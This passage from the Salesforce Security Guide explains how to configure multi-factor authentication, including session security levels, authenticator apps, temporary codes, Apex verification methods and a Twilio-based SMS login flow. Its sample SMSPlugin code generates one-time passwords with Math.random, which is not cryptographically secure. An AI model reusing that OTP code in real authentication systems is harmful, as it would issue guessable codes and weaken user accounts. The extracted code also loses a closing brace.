Available in: both Salesforce
Identity verification is an essential user authentication method—so essential that Salesforce provides Classic (not available in all
two types. orgs) and Lightning
Experience
• Service-based—Also known as device activation, service-based authentication is automatically
enabled for all orgs. This feature requires a user to provide a verification method when accessing Available in: Essentials,
Salesforce from an unrecognized browser or application. Group, Professional,
• Policy-based—Admins enable policy-based multi-factor authentication. It’s an admin’s best Enterprise, Performance,
tool to protect org user accounts. See the following sections for more information. Unlimited, Developer, and
Contact Manager Editions

Org Policies That Require Multi-Factor Authentication

Set policies that require a second level of authentication for every login, logins through the API (for developers and client applications),
or access to specific features. Users provide the second factor via a verification method. Users can download and install a mobile
authenticator app, such as the Salesforce Authenticator app or the Google Authenticator app, on their mobile device. They can also use
a U2F security key. After users register an authenticator app or security key to connect the method with their Salesforce account, they
can use the method whenever your org’s policies require MFA.

Note: Two-factor authentication by SMS is a less secure option, and is available to use only with Experience Cloud users. Contact
Salesforce Customer Support to enable.
The Salesforce Authenticator mobile app (version 2 and later) sends a push notification to the user’s mobile device when the Salesforce
account requires identity verification or MFA. The user responds on the mobile device to verify or block the activity. The user can enable
location services for the app and automate verifications from trusted locations, such as a home or office. Salesforce Authenticator also
generates verification codes, also called time-based one-time passwords (TOTPs). Users can choose to enter a password plus the code
instead of responding to a push notification from the app for two-factor verification. Or they can get a verification code from another
authenticator app.
If users lose or forget the device they usually use for MFA, you can generate a temporary verification code for them. You set when the
code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user can have only
one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code, then generate a
new one. Users can expire their own valid codes in their personal settings.

55
Salesforce Security Guide Configure User Authentication

Customize Multi-Factor Authentication

You can customize MFA in the following ways.
• Require it for every login. Set the MFA login requirement for every time the user logs in to Salesforce. You can also enable this feature
for API logins, which includes the use of client applications like the Data Loader. For more information, see Set Multi-Factor
Authentication Login Requirements or Set Multi-Factor Authentication Login Requirements for API Access.
• Use high assurance authentication. Sometimes you don’t need MFA for every user’s login, but you want to secure certain resources.
If the user tries to use reports or a connected app, Salesforce prompts the user to verify their identity. For more information, see
Session Security Levels.
• Use profile policies and session settings. First, in the user profile, set Session security level required at login to High Assurance.
Then set session security levels in your org’s session settings to apply the policy for particular login methods. In your org’s session
settings, review the session security levels to make sure that Multi-Factor Authentication is in the High Assurance column. For more
information, see Set Multi-Factor Authentication Login Requirements.

Warning: If Multi-Factor Authentication is in the Standard column, users get an error if they try to log in with a verification
method that grants standard-level security.
Only authentication flows that include a user approval step support using API logins with the High Assurance session security level.
These flows are the OAuth 2.0 refresh token flow, web server flow, and user-agent flow. All other flows, such as the JSON Web Token
(JWT) bearer token flow, don’t include a user approval step. For flows without a user approval step, API logins with the High Assurance
session security level are blocked.
It’s possible that users are prompted to verify their identity with multi-factor authentication twice during the OAuth approval flow.
The first challenge occurs in the UI session. The second challenge happens when the access token is bridged into the UI. This second
challenge is triggered because the High Assurance session security level isn’t transferred to the access token.

• Use login flows. Use Flow Builder and profiles to build post-authentication requirements as the user logs in, including custom MFA
processes. For more information, see the following examples.
– Login Flow Examples
– Deploy Third-Party SMS-Based Multi-Factor Authentication

IN THIS SECTION:
Set Multi-Factor Authentication Login Requirements
Set multi-factor authentication (MFA) login requirements using profile policies and session settings. You can apply MFA requirements
to all Salesforce user interface authentication methods. These methods include username and password, delegated authentication,
SAML single sign-on (SSO), and social sign-on (SSO using an external authentication provider). You can also enable MFA requirements
for Salesforce orgs and Experience Cloud site.
Set Multi-Factor Authentication Login Requirements for API Access
You can set the Multi-Factor Authentication for API Logins permission to use a second authentication challenge for API access to
Salesforce. API access includes the use of applications, like the Data Loader, and developer tools for customizing an organization or
building client apps.
Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification
The Salesforce Authenticator mobile app is a verification method that you can use as an additional authentication factor, in addition
to your username and password. Register the app to connect it to your Salesforce account so you can add an extra level of security.
Verify Your Identity with a TOTP Authenticator App
Register a third-party authenticator app, like Salesforce Authenticator or Google Authenticator, as a verification method for verifying
your identity. The app generates a verification code called a time-based one-time password (TOTP).

56
Salesforce Security Guide Configure User Authentication

Disconnect Salesforce Authenticator (Versions 2 and 3) from a User’s Account

Only one Salesforce Authenticator (version 2 or later) mobile app can be connected to a user’s account at a time. If your user loses
access to the app by replacing or losing the mobile device, disconnect the app from the user’s account. As long as the user (or
assigned profile) still has the multi-factor authentication permission enabled, and no other verification method is connected to their
account, Salesforce prompts the user to register a new method the next time they log in.
Disconnect a User’s TOTP Authenticator App
Besides Salesforce Authenticator, one other mobile authenticator app that generates verification codes (time-based one-time
passwords) can be connected to a user’s account at a time. If your user loses access to the app by replacing or losing the mobile
device, disconnect the app from your user’s account. The next time your user logs in with multi-factor authentication (MFA), if no
other identity verification method is connected, Salesforce prompts the user to register a new method.
Generate a Temporary Identity Verification Code
Generate a temporary verification code for users who can’t access the identity verification method that they usually use for multi-factor
authentication (MFA). Set the code's expiration for from 1 to 24 hours after you generate it. The code can be used multiple times
until it expires.
Expire a Temporary Verification Code
Expire a user’s temporary verification code when the user no longer needs it for multi-factor authentication (MFA).
Implement Multi-Factor Authentication with Apex
To implement your own multi-factor authentication (MFA) process, use Apex methods under the System.UserManagement
class. The methods come as a pair for email, phone (SMS), and the Salesforce Authenticator verification methods—one to initiate a
verification service, and one to complete the verification service. For password or time-based one-time password (TOTP) verification
methods, you can use the second method alone to provide a complete verification service.
Delegate Multi-Factor Authentication Management Tasks
Let users who aren’t Salesforce admins provide support for multi-factor authentication (MFA) in your org. For example, suppose you
want your company’s Help Desk staff to generate temporary verification codes for users who lost or forgot the device they usually
use for MFA. Assign Help Desk staff members the Manage Multi-Factor Authentication in User Interface user permission so that they
can generate codes and support end users with other MFA tasks.

SEE ALSO:
Multi-Factor Authentication

57
Salesforce Security Guide Configure User Authentication

Set Multi-Factor Authentication Login Requirements

Set multi-factor authentication (MFA) login requirements using profile policies and session settings.
EDITIONS
You can apply MFA requirements to all Salesforce user interface authentication methods. These
methods include username and password, delegated authentication, SAML single sign-on (SSO), Available in: both Salesforce
and social sign-on (SSO using an external authentication provider). You can also enable MFA Classic (not available in all
requirements for Salesforce orgs and Experience Cloud site. orgs) and Lightning
Experience
Note: Multi-factor authentication was formerly called two-factor authentication or 2FA.
Available in: Enterprise,
Use one of these methods to set MFA login requirements. Performance, Unlimited,
User Permission and Developer Editions
Assign the Multi-Factor Authentication for User Interface Logins permission to a cloned user profile
or permission set. Users with the Multi-Factor Authentication for User Interface Logins permission USER PERMISSIONS
must provide a second factor via a verification method when they log in to the Salesforce org or
Experience Cloud site. They can use any supported verification method, such as a mobile To edit profiles and
authenticator app or a Universal Second Factor (U2F) security key. permission sets:
• Manage Profiles and
Profile-based Policy Permission Sets
To require multi-factor authentication for users assigned to a particular profile, edit the session To generate a temporary
security level required at login profile setting. Then set your org’s session security levels to apply verification code:
the policy for particular login methods. • Manage Multi-Factor
Authentication in User
By default, the session security requirement at login profile setting is None. You can edit a profile’s Interface
session settings to change the requirement to High Assurance. When profile users with the High
Assurance requirement use a login method that grants standard-level security instead of high
assurance, they’re prompted to verify their identity with MFA. After users authenticate successfully, they’re logged in to Salesforce.
You can edit the security level, either standard or high assurance, assigned to a login method in your org’s session settings.
Users with mobile devices can use the Salesforce Authenticator mobile app or a third-party authenticator app as a verification method
for MFA. Internal users can connect the app to their account in the Advanced User Details page of their personal settings. If you set the
High Assurance requirement on a profile, profile users without the Salesforce Authenticator or another authenticator app are prompted
to connect the app to their account. After they connect the app, they’re prompted to use the app to verify their identity.
Users can also use registered U2F security keys as a verification method for MFA.
Experience Cloud site members with the High Assurance profile requirement are prompted to connect an authenticator app during
login.

Note: When multi-factor authentication is enabled for a site, admins can’t use the Log In As feature to access the site. See Create
Experience Cloud Users.
If users are logging in using an OAuth authorization flow, users can be prompted to verify their identity with multi-factor authentication
twice. The first challenge is on the UI session. The second challenge happens when the access token is bridged into the UI. The High
Assurance session security level can’t be transferred to the access token.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Scroll to Session Settings, and find the Session security level required at login setting.
4. Click Edit, and select High Assurance.
5. Click Save.
6. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.

58
Salesforce Security Guide Configure User Authentication

7. In Session Security Levels, make sure that Multi-Factor Authentication is in the High Assurance column.
If Multi-Factor Authentication is in the Standard column, users get an error when they log in with a method that grants standard-level
security.

Note: Consider moving Activation to the High Assurance column. With this setting, users who verify their identity from an
unrecognized browser or app establish a high-assurance session. When Activation is in the High Assurance column, profile
users who verify their identity at login aren’t challenged to verify their identity again.

8. Save your changes.

Example: You configured Facebook and LinkedIn as authentication providers in your site. Many of your site members use social
sign-on to log in using the username and password from their Facebook or LinkedIn accounts. You want to increase security by
requiring customers to use multi-factor authentication when they log in with their Facebook account. You want users who log in
with their LinkedIn account to be automatically granted High Assurance access and bypass MFA.
• In the Customer Community User profile, set the session security level required at login to High Assurance.
• In your org’s session settings, edit the session security levels.
– Because you’re requiring MFA with Facebook accounts, make sure that Facebook is in the Standard column.
– Add Multi-Factor Authentication to the High Assurance column. When users log in with their Facebook account, they’re
required to provide a verification method in addition to their username and password.
– Add LinkedIn to the High Assurance column. When users log in with their LinkedIn account, they’re granted High Assurance
access without needing to provide a verification method.

Note: To initiate identity verification under specific conditions, you can use login flows to change the user’s session security
level. Login flows let you build a custom post-authentication process that meets your business requirements.

If users lose or forget the device they usually use for MFA, you can generate a temporary verification code for them. You set when the
code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user can have only
one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code, then generate a
new one. Users can expire their own valid codes in their personal settings.

Note: The High Assurance profile requirement applies to user interface logins. OAuth token exchanges aren’t subject to the
requirement. OAuth refresh tokens that were obtained before a High Assurance requirement is set for a profile can still be exchanged
for valid API access tokens. Tokens are valid even if they were obtained with a standard-assurance session. To require users to
establish a high-assurance session before accessing the API with an external application, revoke existing OAuth tokens for users
with that profile. Then set a High Assurance requirement for the profile. Users must log in with MFA and reauthorize the application.

59
Salesforce Security Guide Configure User Authentication

Set Multi-Factor Authentication Login Requirements for API Access

You can set the Multi-Factor Authentication for API Logins permission to use a second authentication
EDITIONS
challenge for API access to Salesforce. API access includes the use of applications, like the Data
Loader, and developer tools for customizing an organization or building client apps. Available in: both Salesforce
Note: Multi-factor authentication (MFA) was formerly called two-factor authentication or Classic (not available in all
orgs) and Lightning
2FA.
Experience
The Multi-Factor Authentication for User Interface Logins permission is a prerequisite for the
Multi-Factor Authentication for API Logins permission. Users with these permissions must complete Available in: Essentials,
multi-factor authentication when they log in to Salesforce through the UI. Users with mobile devices Contact Manager,
can use the Salesforce Authenticator mobile app or a third-party authenticator app as a verification Database.com, Developer,
Enterprise, Group,
method for MFA. Then they can use verification codes (time-based one-time passwords, or TOTP)
Performance, Professional,
from the app for multi-factor authentication.
and Unlimited Editions
For developer tools that use API logins, users log in with a security token or TOTP instead of Salesforce
Authenticator when multi-factor authentication is enabled.
USER PERMISSIONS
Note: API Only users can access the UI to register for MFA only. After a successful registration,
API Only users can no longer access the UI. To edit system permissions
in profiles:
• Manage Profiles and
Permission Sets
To enable this feature:
• Multi-Factor
Authentication for User
Interface Logins

Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification
The Salesforce Authenticator mobile app is a verification method that you can use as an additional
EDITIONS
authentication factor, in addition to your username and password. Register the app to connect it
to your Salesforce account so you can add an extra level of security. Salesforce Authenticator
1. Download and install the Salesforce Authenticator app (version 3 or later) for the type of mobile setup available in: both
device you use. Salesforce Classic and
Lightning Experience
• For iPhone, get the app from the App Store.
• For Android devices, get the app from Google Play. Mobile app available in:
Essentials, Group,
If you previously installed version 1 of Salesforce Authenticator on your mobile device, you can Professional, Enterprise,
update the app to version 3 through the App Store or Google Play. The update preserves any Performance, Unlimited,
connected accounts you already have in the app. These accounts are code-only accounts that Developer, and Contact
generate verification codes but don’t receive push notifications or allow location-based Manager Editions
automated verifications. If you have a code-only account for the username that you used for
your current login to Salesforce, swipe left in the app to remove that username before
proceeding. In the following steps, you connect the account for that username again. The new connected account gives you full
Salesforce Authenticator version 3 functionality. If you already have version 2 installed, version 3 updates are pushed out to you.

2. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User Details. No
results? Enter Personal Information in the Quick Find box, then select Personal Information.
3. Find App Registration: Salesforce Authenticator, and click Connect.
4. For security purposes, you’re prompted to log in to your account.

60
Salesforce Security Guide Configure User Authentication

5. Open the Salesforce Authenticator app on your mobile device.

If you’re opening the app for the first time, you see a tour of the app’s features. Take the tour, or go straight to adding your Salesforce
account to the app.

6. In the app, tap Add an Account to add your account.

The app generates a unique two-word phrase.

7. Back in your browser, enter the phrase in the Two-Word Phrase field.
8. Click Connect.
If you previously connected an authenticator app that generates verification codes to your account, you sometimes see an alert.
Connecting a new version of the Salesforce Authenticator mobile app invalidates the codes from your old app. When you need a
verification code, get it from Salesforce Authenticator from now on.

9. In the Salesforce Authenticator app on your mobile device, you see details about the account you’re connecting. To complete the
account connection, tap Connect in the app.
To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your
Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.
If your admin requires multi-factor authentication (MFA) for increased security when you log in or access reports or dashboards, use the
app to verify your account activity. If you’re required to use MFA before you have the app connected, you’re prompted to register it the
next time you log in to Salesforce. If you don’t yet have the MFA requirement, you can register the app at any time through your personal
settings.
After you connect the app, you get a notification on your mobile device when you do something that requires identity verification. When
you receive the notification, open the app on your mobile device, check the activity details, and respond on your mobile device to verify.
If you are notified about activity you don’t recognize, use the app to block the activity. You can flag the blocked activity for your Salesforce
admin. The app also provides a verification code that you can use as an alternate method of identity verification.

Verify Your Identity with a TOTP Authenticator App

Register a third-party authenticator app, like Salesforce Authenticator or Google Authenticator, as
EDITIONS
a verification method for verifying your identity. The app generates a verification code called a
time-based one-time password (TOTP). Available in: Both Salesforce
If your company requires multi-factor authentication (MFA) for increased security when you log in Classic and Lightning
or access connected apps, reports, or dashboards, use a code from the app. If MFA is turned on and Experience
you haven’t set up a verification method yet, you’re prompted to register one the next time you
Available in: All Editions
log in to Salesforce.
1. Download the supported authenticator app for your device type. You can use any authenticator
app that supports the TOTP algorithm (IETF RFC 6238), such as Salesforce Authenticator for iOS, Salesforce Authenticator for Android,
or Google Authenticator.
2. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User Details. No
results? Enter Personal Information in the Quick Find box, then select Personal Information.
3. Find App Registration: One-Time Password Authenticator, and click Connect.
If you’re connecting an authenticator app other than Salesforce Authenticator, use this setting. If you’re connecting Salesforce
Authenticator, use this setting only if you’re using its one-time password generator feature (not the push notifications available in
version 2 or later).

61
Salesforce Security Guide Configure User Authentication

Note: If you’re connecting Salesforce Authenticator so that you can use push notifications, use the App Registration:
Salesforce Authenticator setting instead. That setting enables both push notifications and one-time password
generation.
You can connect up to two authenticator apps to your Salesforce account for one-time password generation: Salesforce Authenticator
and one other authenticator app.

4. For security purposes, you’re prompted to log in to your account.

5. Using the authenticator app on your mobile device, scan the QR code.
Alternatively, click I Can’t Scan the QR Code in your browser. The browser displays a security key. In the authenticator app, enter
your username and the displayed key.

6. In Salesforce, enter the code generated by the authenticator app in the Verification Code field.
The authenticator app generates a new verification code periodically. Enter the current code.

7. Click Connect.
To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your
Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.

SEE ALSO:
Salesforce Help: Personalize Your Salesforce Experience

Disconnect Salesforce Authenticator (Versions 2 and 3) from a User’s Account

Only one Salesforce Authenticator (version 2 or later) mobile app can be connected to a user’s
EDITIONS
account at a time. If your user loses access to the app by replacing or losing the mobile device,
disconnect the app from the user’s account. As long as the user (or assigned profile) still has the Available in: Both Salesforce
multi-factor authentication permission enabled, and no other verification method is connected to Classic and Lightning
their account, Salesforce prompts the user to register a new method the next time they log in. Experience
These steps are for Salesforce admins (or users with the “Manage Multi-Factor Authentication in
Available in: All Editions
User Interface” permission) who want to disconnect a user’s Salesforce Authenticator account in
an org’s Setup. For example, admins follow these steps when a user loses the device running
Salesforce Authenticator. For users who want to disconnect Salesforce Authenticator on their device USER PERMISSIONS
to switch to a new device or simply remove an unused connection, see the help topic Remove an
To disconnect a user’s
Account from Salesforce Authenticator (Versions 2 and 3).
Salesforce Authenticator
1. From Setup, enter Users in the Quick Find box, then select Users. app:
• Manage Multi-Factor
2. Click the user’s name.
Authentication in User
3. On the user’s detail page, click Disconnect next to the App Registration: Interface or the System
Salesforce Authenticator field. Administrator profile

62
Salesforce Security Guide Configure User Authentication

Disconnect a User’s TOTP Authenticator App

Besides Salesforce Authenticator, one other mobile authenticator app that generates verification
EDITIONS
codes (time-based one-time passwords) can be connected to a user’s account at a time. If your
user loses access to the app by replacing or losing the mobile device, disconnect the app from your Available in: Both Salesforce
user’s account. The next time your user logs in with multi-factor authentication (MFA), if no other Classic and Lightning
identity verification method is connected, Salesforce prompts the user to register a new method. Experience
1. From Setup, enter Users in the Quick Find box, then select Users.
Available in: Essentials,
2. Click the user’s name. Group, Professional,
Enterprise, Performance,
3. On the user’s detail page, click Disconnect next to the App Registration: One-Time
Unlimited, Developer, and
Password Authenticator field.
Contact Manager Editions
Your users can disconnect the app from their own account. In personal settings, they go to the
Advanced User Details page and click Disconnect next to the App Registration:
One-Time Password Authenticator field.
USER PERMISSIONS

To disconnect a user’s
authenticator app:
• Manage Multi-Factor
Authentication in User
Interface

Generate a Temporary Identity Verification Code

Generate a temporary verification code for users who can’t access the identity verification method
EDITIONS
that they usually use for multi-factor authentication (MFA). Set the code's expiration for from 1 to
24 hours after you generate it. The code can be used multiple times until it expires. Available in: Both Salesforce
Temporary verification codes are valid for multi-factor authentication only. They aren’t valid for Classic and Lightning
device activation. That is, when users log in from an unrecognized browser or app and we require Experience
identity verification, they can’t use a temporary code.
Available in: Essentials,
1. From Setup, enter Users in the Quick Find box, then select Users. Contact Manager, Group,
Professional, Enterprise,
2. Click the name of the user who needs a temporary verification code.
Performance, Unlimited,
You can’t generate a code for an inactive user. and Developer Editions
3. Find Temporary Verification Code, then click Generate.
If you don’t already have a session with a high-assurance security level, Salesforce prompts you USER PERMISSIONS
to verify your identity.
To generate a temporary
4. Set an expiration time for the code, and click Generate Code. verification code:
• Manage Multi-Factor
5. Give the code to your user, then click Done.
Authentication in User
After you click Done, you can’t return to view the code again, and the code isn’t displayed Interface
anywhere in the user interface.

Your user can use the temporary verification code multiple times until it expires. Each user can have
only one temporary verification code at a time. If a user forgets or loses the code before it expires, you can manually expire the old code
and generate a new one. You can generate up to six codes per hour for each user.

Note: When you add an identity verification method to a user’s account, the user gets an email. To stop sending emails to users
when new identity verification methods are added to their accounts, contact Salesforce.

63
Salesforce Security Guide Configure User Authentication

Expire a Temporary Verification Code

Expire a user’s temporary verification code when the user no longer needs it for multi-factor
EDITIONS
authentication (MFA).
Each user can have only one temporary verification code at a time. If a user forgets or loses the code Available in: Both Salesforce
before it expires, you can manually expire the old code and generate a new one. You can generate Classic and Lightning
up to six codes per hour for each user. Experience

1. From Setup, enter Users in the Quick Find box, then select Users. Available in: Essentials,
2. Click the name of the user whose temporary verification code you need to expire. Contact Manager, Group,
Professional, Enterprise,
3. Find Temporary Verification Code, and click Expire Now. Performance, Unlimited,
and Developer Editions

USER PERMISSIONS

To expire a user’s temporary

verification code:
• Manage Multi-Factor
Authentication in User
Interface

Implement Multi-Factor Authentication with Apex

To implement your own multi-factor authentication (MFA) process, use Apex methods under the
EDITIONS
System.UserManagement class. The methods come as a pair for email, phone (SMS), and
the Salesforce Authenticator verification methods—one to initiate a verification service, and one Available in: both Salesforce
to complete the verification service. For password or time-based one-time password (TOTP) Classic (not available in all
verification methods, you can use the second method alone to provide a complete verification orgs) and Lightning
service. Experience
Note: Multi-factor authentication (MFA) was formerly called two-factor authentication or Available in: Essentials,
2FA. Group, Professional,
The Apex configuration that you use depends on your verification method. Enterprise, Performance,
Unlimited, Developer, and
• To implement a multi-factor authentication service for email, SMS, and the Salesforce Contact Manager Editions
Authenticator verification methods, use initVerificationMethod and
verifyVerificationMethod.
• To implement a multi-factor authentication service for password or TOTP verification methods, use
verifyVerificationMethod.

Example: Apex Methods for Multi-Factor Authentication

Here’s example Apex code for multi-factor authentication using email.
public void initVerification() {
// user will receive code on their registered verified email
identifier = UserManagement.initVerificationMethod(Auth.VerificationMethod.EMAIL);
}

public Auth.VerificationResult verifyVerification() {

// requiring identifier from the initVerification
// the code will need to be entered in this method

64
Salesforce Security Guide Configure User Authentication

return UserManagement.verifyVerificationMethod(identifier, code ,

Auth.VerificationMethod.EMAIL);
}

Here’s one for SMS.

public void initVerification() {
// user will receive code on their registered verified phone
identifier = UserManagement.initVerificationMethod(Auth.VerificationMethod.SMS);
}

public Auth.VerificationResult verifyVerification() {

// requiring identifier from the initVerification
// the code will need to be entered in this method
return UserManagement.verifyVerificationMethod(identifier, code ,
Auth.VerificationMethod.SMS);
}

This example shows Apex code for multi-factor authentication using the Salesforce Authenticator.
public void initVerification() {
// user will receive push notification on mobile device where the app is registered
for MFA
identifier =
UserManagement.initVerificationMethod(Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
}

public Auth.VerificationResult verifyVerification() {

// requiring identifier from the initVerification
// user will need to take the action on the mobile device where the app is registered
for MFA
return UserManagement.verifyVerificationMethod(identifier, '' ,
Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
}

The next two examples show Apex code for multi-factor authentication using only the verifyVerificationMethod for
password and TOTP verifications.
public Auth.VerificationResult verifyVerification() {
// user will enter their password as a param in the verifyVerificationMethod for
password verification method
return UserManagement.verifyVerificationMethod('', password ,
Auth.VerificationMethod.PASSWORD);
}

public Auth.VerificationResult verifyVerification() {

// user will enter their registered time-based one-time password (TOTP) code (token)
return UserManagement.verifyVerificationMethod('', code , Auth.VerificationMethod.TOTP);
}

65
Salesforce Security Guide Configure User Authentication

Delegate Multi-Factor Authentication Management Tasks

Let users who aren’t Salesforce admins provide support for multi-factor authentication (MFA) in
EDITIONS
your org. For example, suppose you want your company’s Help Desk staff to generate temporary
verification codes for users who lost or forgot the device they usually use for MFA. Assign Help Desk Available in: Both Salesforce
staff members the Manage Multi-Factor Authentication in User Interface user permission so that Classic and Lightning
they can generate codes and support end users with other MFA tasks. Experience
To assign the permission, select Manage Multi-Factor Authentication in User Interface in a custom
Available in: Essentials,
user profile or permission set. Users with the permission can perform the following tasks. Contact Manager, Group,
• Generate a temporary verification code for a user who can’t access their usual MFA verification Professional, Enterprise,
methods. Performance, Unlimited,
and Developer Editions
• Disconnect verification methods from a user’s account when the user loses or replaces a device.
• View user identity verification activity on the Identity Verification History page.
• View the Identity Verification Methods report by clicking a link on the Identity Verification History
USER PERMISSIONS
page. To edit profiles and
• Create user list views that show which identity verification methods users have registered. permission sets:
• Manage Profiles and
Note: Although non-admin users with the permission can view the Identity Verification Permission Sets
Methods report, they can’t create custom reports that include data restricted to users with
the Manage Users permission.

Deploy Third-Party, SMS-Based Multi-Factor Authentication

Multi-factor authentication (MFA) enhances security when validating a user’s identity and protects access to your Salesforce org. In
addition to a password, SMS-based MFA requires the user to provide a one-time password (OTP) code received on a mobile device.
To implement MFA, you can take advantage of a third-party SMS or voice delivery service, like Twilio or TeleSign, together with a Salesforce
login flow.
Let’s break down an SMS-based MFA process.
1. As the user logs in, the login flow generates a random OTP and sends it via voice or text message to the user’s phone.
2. The user provides the OTP to the Salesforce application.
3. Salesforce verifies the code.
4. If the code is valid, Salesforce permits user access.
The login flow has four steps.
1. Get Records—Queries the user record to get the mobile phone number.
2. Apex Action (Legacy)—Generates the OTP and uses a third-party SMS delivery service to send it to the user’s mobile device.
3. Screen—Prompts the user to provide the received OTP.
4. Decision—Compares the OTP generated by the Apex action with the one that the user provides. If equal, the flow is completed,
and the user is redirected to the application. Otherwise, the flow generates another code and asks the user to re-verify.

Configure the Flow

This example uses the Twilio Apex SDK to perform SMS delivery operations. However, you can use any cloud-based SMS or voice vendor
that has a public API to access its services.
1. Open Flow Builder. From Setup, enter Flows in the Quick Find box, select Flows, and then click New Flow.

66
Salesforce Security Guide Configure User Authentication

2. Select Screen Flow, and click Create.

3. From the toolbox, open the Manager tab, and click New Resource.
4. Create a LoginFlow_UserId input text variable. This variable is populated with the user ID during the login event.

5. Create text variables.

• Mobile—The user’s mobile number
• VerificationCode—The OTP generated by the Apex plug-in
• Code—The OTP collected from the user
• Status—The status returned when the plug-in executes

6. From the toolbox, open the Elements tab. Add a Get Records element to the canvas to look up the user who’s trying to log in.

67
Salesforce Security Guide Configure User Authentication

7. Store the user’s mobile number in the Mobile input variable.

8. Install the Twilio Apex SDK from https://github.com/twilio/twilio-salesforce.

9. To allow the SMS plug-in to perform outbound API calls to Twilio web services, set up https://api.twilio.com as a remote site in
Salesforce. In Setup, enter Remote Site Settings in the Quick Find box, select Remote Site Settings, and add the Twilio
web services URL.

10. Create an Apex class.

global class SMSPlugin implements Process.Plugin {

global Process.PluginDescribeResult describe() {

Process.PluginDescribeResult result = new Process.PluginDescribeResult();

result.tag='Identity';
result.name='SMS Plugin';
result.description='Multi-factor authentication with SMS';

result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>

{
new Process.PluginDescribeResult.InputParameter('AccountSid',
Process.PluginDescribeResult.ParameterType.STRING, true),

68
Salesforce Security Guide Configure User Authentication

new Process.PluginDescribeResult.InputParameter('Token',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('To',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('From',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('Message',
Process.PluginDescribeResult.ParameterType.STRING, true)
};

result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>

{
new Process.PluginDescribeResult.OutputParameter('Status',
Process.PluginDescribeResult.ParameterType.STRING),
new Process.PluginDescribeResult.OutputParameter('VerificationCode',
Process.PluginDescribeResult.ParameterType.STRING)
};

return result;

global Process.PluginResult invoke(Process.PluginRequest request) {

Map<String, Object> result = new Map<String, Object>();

String AccountSid = (String)request.inputParameters.get('AccountSid');
String token = (String)request.inputParameters.get('Token');
String To = (String)request.inputParameters.get('To');
String From_a = (String)request.inputParameters.get('From');
String Message = (String)request.inputParameters.get('Message');
if (Message == null) Message = 'Your verification code is: ';

TwilioRestClient client = new TwilioRestClient(AccountSid, Token);

TwilioSMS sms;

Integer rand = Math.round(Math.random()*100000);

String VerificationCode = string.valueOf(rand);
String Body = Message + VerificationCode;

Map<String,String> params = new Map<String,String> {

'To' => To,
'From' => From_a,
'Body' => Body
};

try {
sms = client.getAccount().getSMSMessages().create(params);
result.put('Status', sms.getStatus());
} catch(Exception ex) {
result.put('Status', 'Failure');
}
result.put('VerificationCode', VerificationCode);

69
Salesforce Security Guide Configure User Authentication

return new Process.PluginResult(result);

}
}

11. Create an SMS plug-in that generates an OTP code and sends it via SMS to the user’s mobile number. The plug-in takes these inputs.
• AccountSid—Twilio Account SID (username from your Twilio account)
• Token—Twilio Auth Token (password from your Twilio account)
• From—The SMS From number
• Message—The message sent to the user with the verification code
• To—The user’s mobile phone number

The plug-in returns two values.

• Status—The status of the SMS delivery operation
• VerificationCode—The verification code generated and sent to the user

70
Salesforce Security Guide Configure User Authentication

12. Create a Screen element that prompts for the verification code received.

13. Create a Decision element with two outcomes.

• Valid—The verification code (stored in {!VerificationCode}) is the same as the code the user entered in the Code
screen component.
• Invalid—The Valid outcome’s condition isn’t met, so the outcome is invalid. To create this outcome, change the label of the
default outcome to Invalid.

71
Salesforce Security Guide Configure User Authentication

14. Connect the elements together. When you connect the decision to the legacy Apex action, choose the Invalid outcome.

15. Save and activate the flow.

16. Connect the login flow to a user profile.

17. Log out, and then log in as a test user that’s connected with a test profile.

Extending the Flow

In a production deployment, it’s common to extend this basic flow. For example, you can add customization, validation, or policies, such
as:

72
Salesforce Security Guide Configure User Authentication

• Branding—Add a corporate logo and message to the verification screen.

• Validation—Verify whether the user record included a phone number. If not, prompt the user to enter one.
• Retries—If the OTP code that the user provides is wrong, the login flow generates a new OTP code and sends it to the user. It’s
typical to limit the number of retries or to temporarily block a user login after several unsuccessful verification attempts.
• Policies—If the user has registered a landline phone but not a mobile phone number, send the OTP over voice rather than SMS.
Alternatively, if Salesforce doesn’t have a registered phone number for the user, send the OTP code by email. Another approach is
to challenge the user with a verification method such as a Salesforce time-based OTP or a hardware-based OTP, like a YubiKey.

SEE ALSO:
Login Flow Examples

Limit the Number of Concurrent Sessions with Login Flows

You can use a login flow to restrict the number of simultaneous Salesforce sessions per user.

Install the Concurrent-Sessions Package

The concurrent-sessions unmanaged package includes the elements and sources of a login flow solution. The package includes a plug-in
that retrieves the number of concurrent sessions for a user. If the pending login exceeds the concurrent session limit, the flow blocks it.
You can customize the package, for example, by changing the session limit. By default, the package uses a session limit of 1.
1. To install the concurrent-sessions package, go to https://login.salesforce.com/packaging/installPackage.apexp?p0=04to0000000WR73.
2. After you install the package, you can connect the login flow to user profiles. Assign the flow to profiles for which you want to limit
concurrent sessions.

Creating the Package Components

Let’s take a closer look at the components in the concurrent-sessions package. If the package didn’t exist, here’s how you can create the
plug-in and the login flow.
SessionPlugin is an Apex class that retrieves the number of concurrent sessions. The class queries the AuthSession table and sums the
number of sessions, excluding temporary sessions.
1. In Setup, enter Apex Classes in the Quick Find box, and select Apex Classes.
2. To create a class, click New.
3. Copy and paste this code as the Apex class content.
